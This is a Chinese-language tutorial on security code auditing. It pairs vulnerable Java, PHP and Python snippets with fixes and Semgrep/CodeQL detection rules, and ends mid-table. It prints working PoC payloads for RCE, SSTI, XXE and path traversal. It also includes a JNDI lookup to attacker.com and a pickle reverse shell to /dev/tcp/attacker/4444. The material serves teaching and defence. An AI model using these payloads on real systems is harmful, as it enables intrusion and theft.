前言
在甲方安全建设与红队渗透中,代码审计(Code Audit / White-box Testing)
是一项核心能力。相比于黑盒扫描"撞运气"式的漏洞发现,代码审计能够从
源头定位缺陷,理解业务逻辑,挖掘出黑盒难以触达的高危逻辑漏洞与组合链。
本文将从方法论出发,系统讲解白盒审计的思路,对比六大主流审计工具,并
分别给出 Java、PHP、Python 三大语言的实战审计案例,最后演示如何用
Semgrep / CodeQL 实现自动化审计,以及一个完整 CMS 的审计链构造过程。
【提示】本文所有代码示例仅用于安全研究与授权测试,严禁用于非法用途。
请遵守《网络安全法》及相关法律法规,未经授权的渗透测试属于违法行为。
——————————————————————————–
一、代码审计概述与方法论
——————————————————————————–
1.1 什么是代码审计
代码审计是指通过人工或自动化工具,对程序源代码进行系统性检查,发现其中
可能存在的安全漏洞、逻辑缺陷、硬编码敏感信息等问题的过程。其本质是
"以读代码的方式找漏洞"。
代码审计的优势:
– 能够发现黑盒扫描无法覆盖的逻辑漏洞(如越权、支付逻辑缺陷)
– 能够精确定位漏洞根因,给出修复建议
– 能够在开发阶段(Shift Left)提前消除安全隐患,降低修复成本
– 能够发现隐藏的后门与供应链投毒代码
1.2 白盒审计 vs 黑盒审计
| 对比维度 | 白盒审计(代码审计) | 黑盒审计(渗透测试) |
|————|——————————-|——————————-|
| 测试视角 | 拥有源代码,从内部看 | 无源代码,从外部看 |
| 覆盖率 | 高,可达 100% 代码路径 | 受限于输入空间与认证状态 |
| 漏洞类型 | 逻辑漏洞、配置缺陷、隐藏后门 | 注入类、配置暴露、认证绕过 |
| 误报率 | 工具误报较高,需人工确认 | 误报较低,但漏报率高 |
| 成本 | 前期高(需阅读代码) | 相对较低 |
| 适用阶段 | 开发期、上线前审计 | 上线后、红队评估 |
【注意】白盒与黑盒并非对立关系,成熟的甲方安全体系应采用"白盒为主、
黑盒为辅"的灰盒(Gray-box)策略,相互补充。
1.3 自顶向下 vs 自底向上
代码审计有两种经典分析路径,实战中通常结合使用:
【1】自顶向下(Top-Down)
从入口点(路由、Controller、Action)出发,沿着数据流追踪用户输入
如何流向危险函数(Sink)。适合快速理解业务,定位数据流向。
分析路径:路由 -> Controller -> Service -> DAO -> 危险操作
【2】自底向上(Bottom-Up)
从危险函数(Sink)出发,反向回溯数据来源,判断参数是否用户可控。
适合在大型代码库中快速定位已知漏洞模式。
分析路径:危险函数 -> 调用链回溯 -> 参数来源 -> 是否可控
1.4 代码审计通用方法论(七步法)
```
步骤 1:环境搭建与项目结构分析
– 部署运行环境,理解项目目录结构、框架版本
– 识别依赖组件(pom.xml / composer.json / requirements.txt)
步骤 2:入口点识别(Source)
– 路由配置(@RequestMapping / route.php / Flask @app.route)
– 反序列化入口、文件上传接口、SOAP/REST API
步骤 3:危险函数识别(Sink)
– Java:Runtime.exec、ProcessBuilder、SpEL eval、XML解析
– PHP:eval、assert、system、include、unserialize
– Python:eval、exec、os.system、subprocess、pickle.loads
步骤 4:数据流追踪(Taint Analysis)
– 从 Source 到 Sink 追踪用户输入是否经过净化
– 重点关注"净化函数"是否可被绕过
步骤 5:漏洞验证(PoC 构造)
– 编写最小化 PoC 验证漏洞可利用性
步骤 6:漏洞链构造(Chain)
– 将多个低危漏洞组合成高危利用链
步骤 7:修复建议与报告
– 给出代码级修复方案,输出审计报告
```
【提示】实战中"自底向上"效率更高:先用 IDE 全局搜索危险函数,再回溯
数据流,能在数小时内完成对中型项目的初筛。
——————————————————————————–
二、常用代码审计工具对比
——————————————————————————–
工欲善其事,必先利其器。下面对六款主流代码审计工具进行横向对比:
| 工具 | 语言支持 | 检测方式 | 优势 | 劣势 | 适用场景 |
|————|———————-|—————-|——————————-|—————————-|——————-|
| Fortify | Java/C#/C++/JS 等 25+| 静态分析(SAST) | 规则丰富、企业级、报告完善 | 商业收费昂贵、误报多 | 企业级合规审计 |
| Checkmarx | Java/JS/Python 等 25+| 静态分析(SAST) | 数据流分析强、支持 IDE 插件 | 商业收费、扫描较慢 | 企业级 DevSecOps |
| CodeQL | Java/C/C++/Python 等 | 查询式分析 | 自定义查询灵活、语义分析深 | 学习曲线陡、需自建数据库 | 深度漏洞挖掘 |
| SonarQube | 20+ 语言 | 静态分析+质量 | 开源免费、CI/CD 集成好 | 安全规则较少、偏代码质量 | 代码质量+基础安全 |
| Semgrep | 20+ 语言 | 模式匹配 | 开源免费、规则编写简单、速度快 | 无数据流分析(CE版)、误报 | 快速规则扫描 |
| RIPS | PHP 为主 | 数据流分析 | PHP 审计专精、污点追踪强 | 商业收费、语言支持有限 | PHP 项目审计 |
【注意】没有任何一款工具能 100% 覆盖漏洞。最佳实践是"工具初筛 + 人工
复核",工具负责快速定位可疑点,人工负责确认与漏洞链构造。
2.1 工具选型建议
– 个人学习 / 开源项目:Semgrep(免费)+ CodeQL(免费)+ 手工审计
– PHP 项目专项审计:RIPS + 手工 IDE 审计
– 企业级 DevSecOps:SonarQube(质量)+ Checkmarx/Fortify(安全)+ Semgrep(自定义规则)
– 深度漏洞挖掘(漏洞猎手):CodeQL(自定义查询)+ 人工逆向数据流
2.2 IDE 辅助审计技巧
推荐使用 IntelliJ IDEA / VS Code 进行手工审计:
```
– 全局搜索危险函数:Ctrl+Shift+F 搜索 eval(、exec(、Runtime
– 查找调用关系:Ctrl+Alt+H 查看 Call Hierarchy(调用层级)
– 数据流追踪:利用 IDE 的 Find Usages 反向回溯参数来源
– 断点调试:在可疑函数处下断点,动态跟踪数据流(灰盒审计)
```
——————————————————————————–
三、Java 代码审计实战
——————————————————————————–
Java 是企业级应用的主流语言,其生态丰富、组件众多,也是代码审计的重点
目标。本节将讲解 Java 中五类典型漏洞的挖掘与审计方法。
3.1 SpEL 注入漏洞挖掘与审计
SpEL(Spring Expression Language)是 Spring 框架提供的表达式语言。
当用户输入被直接传入 SpEL 解析器时,可能导致任意代码执行。
漏洞代码示例:
```java
import org.springframework.expression.Expression;
import org.springframework.expression.ExpressionParser;
import org.springframework.expression.spel.standard.SpelExpressionParser;
@RestController
public class SpelController {
@GetMapping("/spel")
public String spel(@RequestParam String expr) {
ExpressionParser parser = new SpelExpressionParser();
// 【漏洞】用户输入 expr 直接被解析为 SpEL 表达式
Expression expression = parser.parseExpression(expr);
return expression.getValue().toString();
}
}
```
审计要点:
– 全局搜索 SpelExpressionParser、parseExpression、getValue
– 检查表达式内容是否来自用户输入
– 检查是否使用了 SimpleEvaluationContext(安全上下文)
PoC 利用:
```
# 执行系统命令
T(java.lang.Runtime).getRuntime().exec('calc')
# 读取文件
new String(T(java.nio.file.Files).readAllBytes(
T(java.nio.file.Paths).get('/etc/passwd')))
```
安全修复:
```java
// 使用安全上下文,禁用类型引用与方法调用
EvaluationContext context = SimpleEvaluationContext.forReadOnlyDataBinding()
.build();
Expression expression = parser.parseExpression(expr);
return expression.getValue(context).toString();
```
【警告】SimpleEvaluationContext 会阻止 T() 类型引用和方法调用,但仍需
注意表达式注入的信息泄露风险。最佳方案是不将用户输入作为表达式解析。
3.2 JNDI 注入漏洞挖掘
JNDI(Java Naming and Directory Interface)注入是 Java 经典漏洞类型。
当应用调用 InitialContext.lookup() 且参数用户可控时,攻击者可指向恶意
LDAP/RMI 服务,加载远程类实现 RCE。
漏洞代码示例:
```java
import javax.naming.InitialContext;
@RestController
public class JndiController {
@GetMapping("/jndi")
public Object jndi(@RequestParam String name) throws Exception {
InitialContext ctx = new InitialContext();
// 【漏洞】name 用户可控,可指向恶意 JNDI 服务
return ctx.lookup(name);
}
}
```
审计要点:
– 搜索 InitialContext.lookup、Context.lookup、ldap://、rmi://
– 检查 lookup 参数是否来自配置文件、HTTP 请求、消息体
– 关注 Spring Cloud、Log4j 等组件中的 JNDI 使用
PoC 利用流程:
```
1. 攻击者启动恶意 LDAP 服务(如 marshalsec / JNDI-Injection-Exploit)
2. 发送请求:GET /jndi?name=ldap://attacker.com/Exploit
3. 目标服务器加载远程恶意类并执行
```
各 JDK 版本绕过技巧:
| JDK 版本 | 默认限制 | 绕过方式 |
|————-|————————-|———————————–|
| JDK < 8u191 | 无限制 | 直接 LDAP 加载远程类 |
| 8u191+ | com.sun.jndi.ldap.object.trustURLCodebase=false | 本地 Gadget(BeanFactory、Tomcat EL) |
| 11.0.1+ | 同上 | 本地 Gadget / 序列化对象 |
安全修复:
```java
// 1. 白名单校验 JNDI 名称,禁止外部协议
private static final Set<String> ALLOWED = Set.of("java:comp/env/");
public Object safeLookup(String name) throws Exception {
if (!ALLOWED.stream().anyMatch(name::startsWith)) {
throw new SecurityException("非法 JNDI 名称");
}
return new InitialContext().lookup(name);
}
// 2. 升级 JDK 版本,设置系统属性
// -Dcom.sun.jndi.ldap.object.trustURLCodebase=false
// -Dcom.sun.jndi.rmi.object.trustURLCodebase=false
```
3.3 模板注入(SSTI)漏洞挖掘
Java 模板引擎(FreeMarker、Velocity、Thymeleaf)若将用户输入作为模板
内容渲染,会导致 SSTI(Server-Side Template Injection)。
FreeMarker SSTI 漏洞示例:
```java
import freemarker.template.Configuration;
import freemarker.template.Template;
@RestController
public class FreemarkerController {
@GetMapping("/render")
public String render(@RequestParam String templateStr) throws Exception {
Configuration cfg = new Configuration(Configuration.VERSION_2_3_31);
// 【漏洞】用户输入直接作为模板内容
Template template = new Template("userTpl", templateStr, cfg);
StringWriter writer = new StringWriter();
template.process(new HashMap<>(), writer);
return writer.toString();
}
}
```
PoC 利用(FreeMarker):
```
<#assign cmd="exec">
${"freemarker.template.utility.Execute"?new()("id")}
```
Velocity SSTI PoC:
```
#set($e="exp")
#set($c=$e.class.forName("java.lang.Runtime"))
#set($m=$c.getMethod("getRuntime",$null))
#set($r=$m.invoke($null,$null))
#set($cmd=$r.exec("id"))
```
审计要点:
– 搜索 Template、process、Velocity、FreeMarker、getTemplate
– 区分"用户输入作为数据"与"用户输入作为模板"——后者才是漏洞
– Thymeleaf 关注 ~{…} 片段表达式注入(Prepend/Fragment Injection)
3.4 XML 外部实体注入(XXE)审计
XXE 发生在 XML 解析器未禁用外部实体引用时,可导致文件读取、SSRF、
拒绝服务。虽然 XXE 已是老话题,但在 Java 审计中仍高频出现。
漏洞代码示例:
```java
import javax.xml.parsers.DocumentBuilder;
import javax.xml.parsers.DocumentBuilderFactory;
import org.w3c.dom.Document;
@RestController
public class XxeController {
@PostMapping(value = "/xml", consumes = "application/xml")
public String parseXml(@RequestBody String xml) throws Exception {
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// 【漏洞】未禁用外部实体
DocumentBuilder builder = factory.newDocumentBuilder();
Document doc = builder.parse(new InputSource(new StringReader(xml)));
return doc.getDocumentElement().getNodeName();
}
}
```
PoC 利用(读取文件):
```xml
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<foo>&xxe;</foo>
```
审计要点(搜索危险解析器):
```
– DocumentBuilderFactory.newInstance()
– SAXParserFactory.newInstance()
– XMLReaderFactory.createXMLReader()
– Unmarshaller.unmarshal()(JAXB)
– SAXReader(DOM4j)
– XMLInputFactory(StAX)
```
安全修复(禁用外部实体):
```java
DocumentBuilderFactory factory = DocumentBuilderFactory.newInstance();
// 关键防御:禁用 DOCTYPE 与外部实体
factory.setFeature("http://apache.org/xml/features/disallow-doctype-decl", true);
factory.setFeature("http://xml.org/sax/features/external-general-entities", false);
factory.setFeature("http://xml.org/sax/features/external-parameter-entities", false);
factory.setXIncludeAware(false);
factory.setExpandEntityReferences(false);
```
【提示】setFeature 方法在不同解析器实现中 feature URI 不同,建议封装
统一的 SafeXmlFactory 工具类,避免遗漏。
3.5 表达式注入漏洞审计(OGNL / MVEL / Aviator)
除 SpEL 外,Java 生态还有 OGNL(Struts2)、MVEL、Aviator 等表达式引擎,
均存在注入风险。
OGNL 注入示例(Struts2 经典场景):
```java
import ognl.Ognl;
import ognl.OgnlContext;
// 【漏洞】用户输入直接作为 OGNL 表达式
public Object evalOgnl(String expr) throws Exception {
OgnlContext context = (OgnlContext) Ognl.createDefaultContext(null);
return Ognl.getValue(expr, context, context.getRoot());
}
```
OGNL RCE PoC:
```
(#_memberAccess=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(
#cmd='id').(#iswin=(@java.lang.System@getProperty('os.name').
toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd','/c',#cmd}:
{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).
(#p.redirectErrorStream(true)).(#process=#p.start()))
```
MVEL 注入示例:
```java
import org.mvel2.MVEL;
// 【漏洞】用户输入作为 MVEL 表达式
Object result = MVEL.eval(userInput);
```
审计要点:
– 搜索 Ognl.getValue、Ognl.parseExpression、MVEL.eval、Aviator.execute
– 检查表达式内容是否用户可控
– Struts2 历史漏洞(S2-045/S2-053/S2-061)关注 OGNL 注入点
安全修复:
– 避免将用户输入作为表达式解析
– Aviator 可使用 AviatorEvaluator.execute 配合白名单函数
– 升级 Struts2 至最新版本并禁用 OGNL 动态调用
——————————————————————————–
四、PHP 代码审计实战
——————————————————————————–
PHP 是 Web 安全的"重灾区",其灵活的动态特性使其容易产生各类漏洞。
本节讲解 PHP 中四类典型漏洞的审计方法。
4.1 代码执行漏洞审计(eval / assert / preg_replace)
PHP 中存在多个可执行代码的函数,审计时需重点关注。
漏洞代码示例一(eval):
```php
<?php
// 【漏洞】用户输入被拼入 eval
$code = $_GET['code'];
eval("echo " . $code . ";");
// PoC: ?code=phpinfo()
// PoC: ?code=system('id')
?>
```
漏洞代码示例二(assert):
```php
<?php
// 【漏洞】assert 在 PHP 7.2 之前会执行字符串代码
$expr = $_POST['expr'];
assert($expr);
// PoC: expr=system('whoami')
?>
```
漏洞代码示例三(preg_replace /e 修饰符):
```php
<?php
// 【漏洞】/e 修饰符在 PHP 5.5 之前会执行替换内容为代码
$pattern = $_GET['pattern'];
$subject = 'hello world';
$result = preg_replace('/' . $pattern . '/e', 'system("id")', $subject);
// PoC: pattern=.* (将匹配内容替换为 system("id") 的执行结果)
?>
```
审计要点(全局搜索危险函数):
```
eval( assert( preg_replace(.*\\/e
create_function( call_user_func( call_user_func_array(
usort( uasort( array_map( array_filter(
```
【注意】call_user_func、array_map 等回调函数若第一个参数(回调名)用户
可控,同样可导致代码执行。审计时不要只看 eval。
动态函数调用审计:
```php
<?php
// 【漏洞】动态函数调用,$func 用户可控
$func = $_GET['func'];
$arg = $_GET['arg'];
$func($arg);
// PoC: ?func=system&arg=id
?>
```
安全修复:
```php
<?php
// 使用白名单限制可调用函数
$allowed = ['strlen', 'strtoupper', 'trim'];
$func = $_GET['func'];
if (!in_array($func, $allowed, true)) {
die('非法调用');
}
$func($_GET['arg']);
?>
```
4.2 变量覆盖漏洞审计(extract / parse_str)
PHP 的 extract() 和 parse_str() 可将数组/字符串解析为变量,若处理用户
输入,可覆盖已有变量,导致认证绕过、逻辑漏洞。
漏洞代码示例一(extract 覆盖认证变量):
```php
<?php
// 【漏洞】extract 处理用户输入,可覆盖 $is_admin
$is_admin = false;
extract($_GET);
if ($is_admin) {
echo "欢迎管理员";
// 敏感操作…
}
// PoC: ?is_admin=1
?>
```
漏洞代码示例二(parse_str 覆盖配置):
```php
<?php
// 【漏洞】parse_str 将查询字符串解析为变量
$config = ['db_host' => 'localhost', 'debug' => false];
$query = $_SERVER['QUERY_STRING'];
parse_str($query);
// 攻击者传入 ?config[debug]=1 可覆盖 $config 数组
if ($config['debug']) {
phpinfo();
}
// PoC: ?config[debug]=1
?>
```
审计要点:
– 搜索 extract(、parse_str(
– 检查 extract 的第二个参数是否为 EXTR_SKIP(安全模式)
– 检查 parse_str 是否使用了第二个参数(绑定到数组而非当前作用域)
– 关注 $$ 可变变量(Variable Variables)导致的覆盖
可变变量漏洞示例:
```php
<?php
// 【漏洞】$$ 可变变量覆盖
foreach ($_GET as $key => $value) {
$$key = $value; // 危险!可覆盖任意变量
}
// PoC: ?_SESSION[uid]=1 覆盖会话变量
?>
```
安全修复:
```php
<?php
// 方案 1:extract 使用 EXTR_SKIP,不覆盖已有变量
extract($_GET, EXTR_SKIP);
// 方案 2:parse_str 绑定到指定数组
parse_str($query, $params);
$config = array_merge($defaultConfig, $params);
// 方案 3:避免可变变量,显式取值
$id = isset($_GET['id']) ? intval($_GET['id']) : 0;
?>
```
【警告】register_globals 已在 PHP 5.4 移除,但 $$ 可变变量和 extract
仍可在现代 PHP 中造成同等的变量覆盖危害,审计时务必警惕。
4.3 路径穿越漏洞审计
路径穿越(Path Traversal)允许攻击者通过 ../ 序列访问预期目录外的文件。
PHP 中常见于文件读取、文件包含、文件删除等场景。
漏洞代码示例:
```php
<?php
// 【漏洞】未过滤 ../ 直接拼接文件路径
$file = $_GET['file'];
$path = "/var/www/uploads/" . $file;
// 攻击者传入 ?file=../../../../etc/passwd
echo file_get_contents($path);
?>
```
审计要点(搜索文件操作函数):
```
file_get_contents( file_put_contents( fopen( readfile(
include( require( include_once( require_once(
unlink( copy( move_uploaded_file( file_exists(
```
PoC 与绕过技巧:
```
# 基础穿越
?file=../../../../etc/passwd
# 编码绕过(当存在简单过滤时)
?file=..%2f..%2f..%2fetc%2fpasswd # URL编码
?file=….//….//etc/passwd # 双写绕过单次替换
?file=..%252f..%252fetc%252fpasswd # 二次URL编码
?file=php://filter/convert.base64-encode/resource=config.php # 伪协议
```
安全修复:
```php
<?php
$file = $_GET['file'];
$path = realpath("/var/www/uploads/" . $file);
// 方案 1:realpath 校验 + 目录前缀检查
$base = realpath("/var/www/uploads/");
if ($path === false || strpos($path, $base) !== 0) {
die('非法路径');
}
echo file_get_contents($path);
// 方案 2:basename 取文件名(去掉目录部分)
$safeName = basename($file);
echo file_get_contents("/var/www/uploads/" . $safeName);
?>
```
【提示】realpath 会解析符号链接,是防御路径穿越最可靠的方法之一,但
需注意其返回 false 的情况(文件不存在)。
4.4 任意文件包含漏洞审计
PHP 的 include/require 可动态包含文件,若参数用户可控,可导致:
– 读取任意 PHP 文件源码(配合 php://filter)
– 执行任意代码(配合远程包含或日志/Session 文件包含)
漏洞代码示例:
```php
<?php
// 【漏洞】动态包含用户可控文件
$page = $_GET['page'];
include("/var/www/pages/" . $page . ".php");
// PoC: ?page=../../../../etc/passwd%00 (PHP<5.3.4 截断)
// PoC: ?page=php://filter/convert.base64-encode/resource=../config
?>
```
PHP 伪协议利用汇总:
| 伪协议 | 作用 | 利用条件 |
|—————————–|——————————-|————————–|
| php://filter | 读取文件源码(base64编码) | 无特殊条件 |
| php://input | 读取 POST 原始数据 | allow_url_include=On |
| data:// | 内联数据执行 | allow_url_include=On |
| phar:// | 触发 phar 反序列化 | PHP >= 5.3 |
| zip:// | 压缩包内文件包含 | PHP >= 5.3 |
| expect:// | 命令执行 | 需安装 expect 扩展 |
审计要点:
– 搜索 include(、require(、include_once(、require_once(
– 检查参数是否来自用户输入
– 检查是否开启了 allow_url_include / allow_url_fopen
– 关注 %00 截断(PHP < 5.3.4)和路径长度截断(Windows 240 字符)
安全修复:
```php
<?php
// 白名单方式,最安全
$allowedPages = ['index', 'about', 'contact'];
$page = $_GET['page'];
if (!in_array($page, $allowedPages, true)) {
$page = 'index';
}
include("/var/www/pages/" . $page . ".php");
?>
```
——————————————————————————–
五、Python 代码审计实战
——————————————————————————–
Python 因其简洁语法和强大动态特性,在 Web 开发与 AI 领域广泛使用,其
代码审计同样有独特的关注点。本节讲解三大典型 Python 漏洞。
5.1 沙箱逃逸技巧
Python 沙箱(Sandbox)通常通过删除危险函数、限制内建模块来"隔离"代码
执行。但 Python 强大的反射机制使得沙箱逃逸成为可能。
常见沙箱限制方式:
```python
# 限制方式 1:删除危险内建函数
del __builtins__.__dict__['__import__']
del __builtins__.__dict__['eval']
del __builtins__.__dict__['exec']
# 限制方式 2:替换内建为空字典
__builtins__ = {}
# 限制方式 3:AST 解析黑名单(禁止 Import/Call 等节点)
```
沙箱逃逸技巧一:通过子类链获取危险类
```python
# 利用 object.__subclasses__() 找到可用类
# 例如找到 warnings.catch_warnings,其内部引用了 linecache,
# linecache 又引用了 os 模块
().__class__.__bases__[0].__subclasses__()
# 遍历子类列表,找到包含 os 模块的类
for cls in ().__class__.__bases__[0].__subclasses__():
if 'catch_warnings' in cls.__name__:
cls.__init__.__globals__['linecache'].__dict__['os'].system('id')
break
```
沙箱逃逸技巧二:通过已加载模块获取 os
```python
# 从任意已加载模块的 __globals__ 中获取 os
[c for c in ().__class__.__base__.__subclasses__()
if c.__name__ == 'catch_warnings'][0]()._module.__builtins__['__import__']('os').system('whoami')
```
沙箱逃逸技巧三:f-string / 格式化字符串泄露
```python
# Python 格式化字符串可泄露对象属性
config = {'SECRET_KEY': 's3cr3t'}
user_input = '{0.__class__.__init__.__globals__}'
# 即使 config 中没有该键,格式化仍可能泄露内部信息
print(user_input.format(config))
```
审计要点:
– 搜索 eval(、exec(、compile(、__import__(
– 检查沙箱是否真正隔离(反射机制几乎总能绕过黑名单)
– 关注 pickle.loads、yaml.load(PyYAML)等可执行任意代码的入口
– 格式化字符串审计:搜索 .format(、f"",检查用户是否可控
【警告】Python 沙箱极难做到真正安全。建议不要依赖沙箱隔离不可信代码,
应使用操作系统级隔离(容器、seccomp、独立虚拟机)。
5.2 pickle 反序列化漏洞
Python 的 pickle 模块在反序列化时可执行任意代码。若应用反序列化用户
可控数据,将导致 RCE。
漏洞代码示例:
```python
import pickle
from flask import Flask, request
app = Flask(__name__)
@app.route('/load', methods=['POST'])
def load_data():
# 【漏洞】直接反序列化用户提交的 pickle 数据
data = request.get_data()
obj = pickle.loads(data)
return str(obj)
```
PoC 构造(利用 __reduce__ 魔术方法):
```python
import pickle
import os
class Exploit:
def __reduce__(self):
# 反序列化时自动调用 os.system('id')
return (os.system, ('id',))
# 生成恶意 pickle 数据
payload = pickle.dumps(Exploit())
# 将 payload 作为 POST body 发送到 /load 接口
```
进阶利用(反弹 Shell):
```python
import pickle, base64
class Exploit:
def __reduce__(self):
return (eval, (
"__import__('os').popen('bash -i >& /dev/tcp/attacker/4444 0>&1')",
))
payload = base64.b64encode(pickle.dumps(Exploit())).decode()
```
审计要点(搜索反序列化函数):
```
pickle.loads( pickle.load( cPickle.loads(
yaml.load( # PyYAML,不加 Loader=SafeLoader 即可执行任意对象
shelve.open( # 底层使用 pickle
jsonpickle.decode( # 第三方库,同样危险
dill.loads( # pickle 增强版
```
PyYAML 漏洞示例:
```python
import yaml
# 【漏洞】yaml.load 默认使用 FullLoader 之前版本可执行任意 Python 对象
data = yaml.load(user_input) # 危险
# 安全写法
data = yaml.safe_load(user_input) # 安全
```
PyYAML RCE PoC:
```yaml
!!python/object/apply:os.system ["id"]
```
安全修复:
```python
# 方案 1:使用 JSON 替代 pickle(首选)
import json
obj = json.loads(data)
# 方案 2:如必须用 pickle,限制可反序列化的类
import pickle
import io
class RestrictedUnpickler(pickle.Unpickler):
ALLOWED_CLASSES = {
('builtins', 'dict'), ('builtins', 'list'), ('builtins', 'str'),
}
def find_class(self, module, name):
if (module, name) in self.ALLOWED_CLASSES:
return super().find_class(module, name)
raise pickle.UnpicklingError(f"禁止反序列化 {module}.{name}")
def safe_loads(data):
return RestrictedUnpickler(io.BytesIO(data)).load()
# 方案 3:PyYAML 使用 safe_load
yaml.safe_load(data)
```
5.3 模板注入(SSTI / Jinja2)审计
Flask 常用 Jinja2 模板引擎,若用户输入被作为模板渲染,导致 SSTI。
漏洞代码示例:
```python
from flask import Flask, request, render_template_string
app = Flask(__name__)
@app.route('/greet')
def greet():
name = request.args.get('name', 'guest')
# 【漏洞】用户输入拼入模板字符串
template = '<h1>Hello ' + name + '</h1>'
return render_template_string(template)
# PoC: /greet?name={{7*7}} -> 返回 Hello 49
```
Jinja2 SSTI RCE 利用链:
```
# 1. 探测
{{7*7}} # 返回 49 确认 SSTI
# 2. 获取所有子类(找可利用类)
{{''.__class__.__mro__[1].__subclasses__()}}
# 3. 利用 Popen 执行命令
{{''.__class__.__mro__[1].__subclasses__()[X]('id',shell=True,stdout=-1).communicate()[0]}}
# 其中 X 为 subprocess.Popen 在子类列表中的索引
# 4. 通用 RCE(通过 builtins)
{{cycler.__init__.__globals__.os.popen('id').read()}}
# 5. 读取文件
{{().__class__.__bases__[0].__subclasses__()[X]('/etc/passwd').read()}}
# 6. 绕过过滤(下划线被过滤时)
{{()|attr('\\x5f\\x5fclass\\x5f\\x5f')}}
{{request|attr('application')|attr('\\x5f\\x5fglobals\\x5f\\x5f')}}
```
常见过滤绕过技巧汇总:
| 过滤内容 | 绕过方式 |
|————–|————————————————|
| {{ }} | {% if … %}{% endif %} 或 {%%} |
| 下划线 _ | \\x5f 编码、attr() 函数、|attr 过滤器 |
| 点号 . | ['xxx'] 中括号访问、|attr 过滤器 |
| 关键字 class | \\x5f\\x5fclass\\x5f\\x5f 或 request 对象回溯 |
| 引号 | request.args.param 从请求参数取字符串 |
| 数字 | (dict|length) 等表达式生成数字 |
审计要点:
– 搜索 render_template_string(、Template(、from_string(
– 区分"用户输入作为模板上下文变量"(安全)与"用户输入作为模板内容"(漏洞)
– 安全写法:render_template_string('<h1>Hello {{ name }}</h1>', name=name)
安全修复:
```python
# 方案 1(推荐):将用户输入作为上下文变量传入
@app.route('/greet')
def greet():
name = request.args.get('name', 'guest')
return render_template_string('<h1>Hello {{ name }}</h1>', name=name)
# 方案 2:使用独立模板文件(推荐)
return render_template('greet.html', name=name)
# 方案 3:启用 Jinja2 沙箱环境
from jinja2.sandbox import SandboxedEnvironment
env = SandboxedEnvironment()
template = env.from_string(user_input)
return template.render()
```
——————————————————————————–
六、代码审计自动化
——————————————————————————–
手工审计效率有限,自动化工具能大幅提升审计效率。本节演示如何使用
Semgrep 和 CodeQL 编写自定义规则进行自动化漏洞挖掘。
6.1 使用 Semgrep 编写自定义规则
Semgrep 是开源的轻量级代码扫描工具,支持自定义规则,语法简洁,适合
快速编写针对特定漏洞模式的检测规则。
Semgrep 规则语法示例(检测 PHP eval 注入):
```yaml
# eval_injection.yml
rules:
– id: php-eval-injection
patterns:
– pattern: eval($INPUT)
– pattern-not: eval("…")
message: 检测到 eval() 调用,可能存在代码执行漏洞
languages: [php]
severity: ERROR
metadata:
cwe: "CWE-94: Improper Control of Generation of Code"
– id: php-extract-var-overwrite
pattern: extract($_GET)
message: extract() 直接处理 $_GET,可能导致变量覆盖
languages: [php]
severity: WARNING
– id: python-pickle-deserialization
pattern: pickle.loads($DATA)
message: pickle.loads 反序列化可能存在 RCE 漏洞
languages: [python]
severity: ERROR
– id: java-spel-injection
pattern-either:
– pattern: $PARSER.parseExpression($USER_INPUT)
– pattern: $PARSER.parseExpression($REQ.getParameter(…))
message: SpEL 表达式可能存在注入漏洞
languages: [java]
severity: ERROR
```
运行 Semgrep 扫描:
```bash
# 安装
pip install semgrep
# 使用自定义规则扫描项目
semgrep –config eval_injection.yml –json -o results.json ./target_project
# 使用社区规则集
semgrep –config p/php –config p/java ./target_project
# 仅输出 ERROR 级别
semgrep –config eval_injection.yml –error ./target_project
```
6.2 CodeQL 查询示例
CodeQL 是 GitHub 开源的语义化代码分析工具,通过将代码转化为数据库,
使用类 SQL 语法(QL 语言)查询漏洞模式,数据流分析能力强。
CodeQL 查询示例一(Java SpEL 注入污点追踪):
```ql
/**
* @name SpEL expression injection
* @kind path-problem
* @id java/spel-injection
*/
import java
import semmle.code.java.dataflow.TaintTracking
import semmle.code.java.frameworks.spring.SpEL
class SpelConfig extends TaintTracking::Configuration {
SpelConfig() { this = "SpelConfig" }
override predicate isSource(DataFlow::Node source) {
// 数据源:HTTP 请求参数
source.asParameter().getCallable() instanceof SpringRequestMappingMethod
}
override predicate isSink(DataFlow::Node sink) {
// 汇点:parseExpression 调用
exists(MethodAccess ma |
ma.getMethod().hasName("parseExpression") and
sink.asExpr() = ma.getArgument(0)
)
}
}
from SpelConfig config, DataFlow::PathNode source, DataFlow::PathNode sink
where config.hasFlowPath(source, sink)
select sink.getNode(), source, sink,
"SpEL 注入:用户输入从 $source 流向 $sink"
```
CodeQL 查询示例二(Python pickle 反序列化):
```ql
/**
* @name Unsafe pickle deserialization
* @kind path-problem
* @id python/unsafe-pickle
*/
import python
import semmle.python.dataflow.new.TaintTracking
import semmle.python.Concepts
module PickleConfig implements DataFlow::ConfigSig {
predicate isSource(DataFlow::Node source) {
// 数据源:HTTP 请求体
exists(Call call |
call.getFunc().(Attribute).getName() = "get_data" and
source.asExpr() = call
)
}
predicate isSink(DataFlow::Node sink) {
exists(Call call |
call.getFunc().(Attribute).getName() in ["loads", "load"] and
call.getFunc().(Attribute).getObject().(Name).getId() = "pickle" and
sink.asExpr() = call.getArg(0)
)
}
}
module PickleFlow = TaintTracking::Global<PickleConfig>;
from PickleFlow::PathNode source, PickleFlow::PathNode sink
where PickleFlow::flowPath(source, sink)
select sink.getNode(), source, sink,
"pickle 反序列化漏洞:用户输入流向 pickle.loads"
```
CodeQL 数据库构建与查询流程:
```bash
# 1. 创建 CodeQL 数据库(Java 项目)
codeql database create java-db –language=java –command="mvn clean install"
# 2. 创建数据库(Python 项目)
codeql database create py-db –language=python –overwirte ./target_project
# 3. 运行自定义查询
codeql database analyze java-db spel-injection.ql –format=sarif-latest -o results.sarif
# 4. 查看结果(SARIF 格式可导入 VS Code / GitHub Code Scanning)
```
【提示】CodeQL 的污点追踪(TaintTracking)能自动跨函数追踪数据流,
是挖掘复杂漏洞链的利器。建议先学习官方查询库(codeql-repo)的写法。
6.3 自动化审计流水线建议
```
开发提交代码 -> Git Hook 触发 Semgrep 快速扫描(秒级)
-> CI 流水线运行 CodeQL 深度分析(分钟级)
-> 结果聚合到 SonarQube 质量门禁
-> 高危漏洞阻断合并,中危漏洞记录跟踪
```
| 阶段 | 工具 | 频率 | 阈值 |
|————–|—————-|————|——————-|
